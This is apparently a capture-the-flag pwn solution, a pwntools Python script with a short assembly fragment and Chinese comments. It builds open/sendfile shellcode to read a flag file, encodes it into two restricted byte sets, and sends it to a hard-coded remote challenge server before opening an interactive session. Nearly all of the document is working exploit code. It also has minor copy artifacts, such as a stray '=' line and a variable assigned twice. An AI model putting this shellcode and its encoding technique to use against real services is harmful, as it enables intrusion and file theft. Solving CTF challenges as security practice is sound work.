pwn#

1
mov rsp, rdx      ; 恢复栈底
2
add rsp, 0x1000   ; 栈平衡到安全区
3
/* ... 标准 Open/Sendfile ... */

1
from pwn import *
2
import collections
3

4
context.arch = 'amd64'
5

6
def get_shortest_path_a(start_val, target_val):
7
    queue = collections.deque([(start_val, b"")])
8
    visited = {start_val}
9
    while queue:
10
        curr, path = queue.popleft()
11
        if curr == target_val: return path
12
        nxt_double = (curr * 2) & 0xFF
13
        if nxt_double not in visited:
14
            visited.add(nxt_double)
15
            queue.append((nxt_double, path + b'\x00\xc0'))
16
        nxt_inc = (curr + 1) & 0xFF
17
        if nxt_inc not in visited:
18
            visited.add(nxt_inc)
19
            queue.append((nxt_inc, path + b'\xfe\xc0'))
20
    return b""
21

22
def get_shortest_path_b(start_val, target_val):
23
    allowed_imms = [0x30, 0x18, 0x80, 0xc3, 0xc4, 0x01, 0x04, 0x48, 0xd0]
24
    queue = collections.deque([(start_val, b"")])
25
    visited = {start_val}
26
    while queue:
27
        curr, path = queue.popleft()
28
        if curr == target_val: return path
29
        for imm in allowed_imms:
30
            nxt = (curr + imm) & 0xFF
31
            if nxt not in visited:
32
                visited.add(nxt)
33
                queue.append((nxt, path + b'\x80\xc3' + bytes([imm])))
34
    return b""
35
=
36
def exploit():
37
    print("[*] Generating Final Shellcodes...")
38
    GAP_SIZE = 0x800
39

40
    payload_asm = f"""
41
        mov rsp, rdx      /* Safe Stack Pivot */
42
        add rsp, 0x1000   /* Skip ahead to safe area */
43

44
        /* open("/flag", 0) */
45
        mov rax, 0x67616c662f
46
        push rax
47
        mov rdi, rsp
48
        xor rsi, rsi
49
        mov eax, 2
50
        syscall
51

52
        /* sendfile(1, fd, 0, 100) */
53
        mov rsi, rax
54
        mov rdi, 1
55
        xor rdx, rdx
56
        mov r10, 100
57
        mov eax, 40
58
        syscall
59

60
        /* exit */
61
        mov eax, 60
62
        syscall
63
    """
64
    payload = asm(payload_asm)
65

66
    builder_a = b'\xfe\xc6' * 8 # rdx += 2048
67
    current_val = 0
68
    for byte in payload:
69
        builder_a += get_shortest_path_a(current_val, byte)
70
        current_val = byte
71
        builder_a += b'\x00\x02' + b'\xfe\xc2'
72
    while len(builder_a) < GAP_SIZE:
73
        builder_a += b'\xfe\xc0'
74

75
    builder_b = b'\x48\x01\xd0'
76

77

78
    builder_b += b'\x80\xc4\x08'
79

80
    builder_b = b'\x48\x01\xd0' + (b'\x80\xc4\x01' * 8)
81

82
    current_val = 0
83
    for byte in payload:
84
        builder_b += get_shortest_path_b(current_val, byte)
85
        current_val = byte
86
        builder_b += b'\x30\x18' + b'\x04\x01'
87

88

89
    needed = GAP_SIZE - len(builder_b)
90
    if needed % 2 != 0: builder_b += b'\x80\xc3\x01'
91
    while len(builder_b) < GAP_SIZE: builder_b += b'\x04\x01'
92

93
    set_a = set(builder_a)
94
    set_b = set(builder_b)
95
    print(f"Set A ({len(set_a)}): {[hex(x) for x in set_a]}")
96
    print(f"Set B ({len(set_b)}): {[hex(x) for x in set_b]}")
97

98
    if len(set_a & set_b) > 0:
99
        print("[-] CONFLICT: Sets intersect!", set_a & set_b)
100
        return
101
    if len(set_a | set_b) >= 16:
102
        print(f"[-] ERROR: Too many unique bytes! ({len(set_a | set_b)})")
103
        return
104

105
    print("[+] Check passed. Sending...")
106
    try:
107
        # p = process(['python3', 'chal.py']) # 本地
108
        p = remote('60.205.163.215', 49715) # 远程
109

110
        p.recvuntil(b'hex(0/2):')
111
        print("[*] Sending Round 1...")
112
        p.sendline(builder_a.hex().encode())
113

114
        p.recvuntil(b'hex(1/2):')
115
        print("[*] Sending Round 2...")
116
        p.sendline(builder_b.hex().encode())
117

118
        p.interactive()
119
    except Exception as e:
120
        print(e)
121

122
if __name__ == "__main__":
123
    exploit()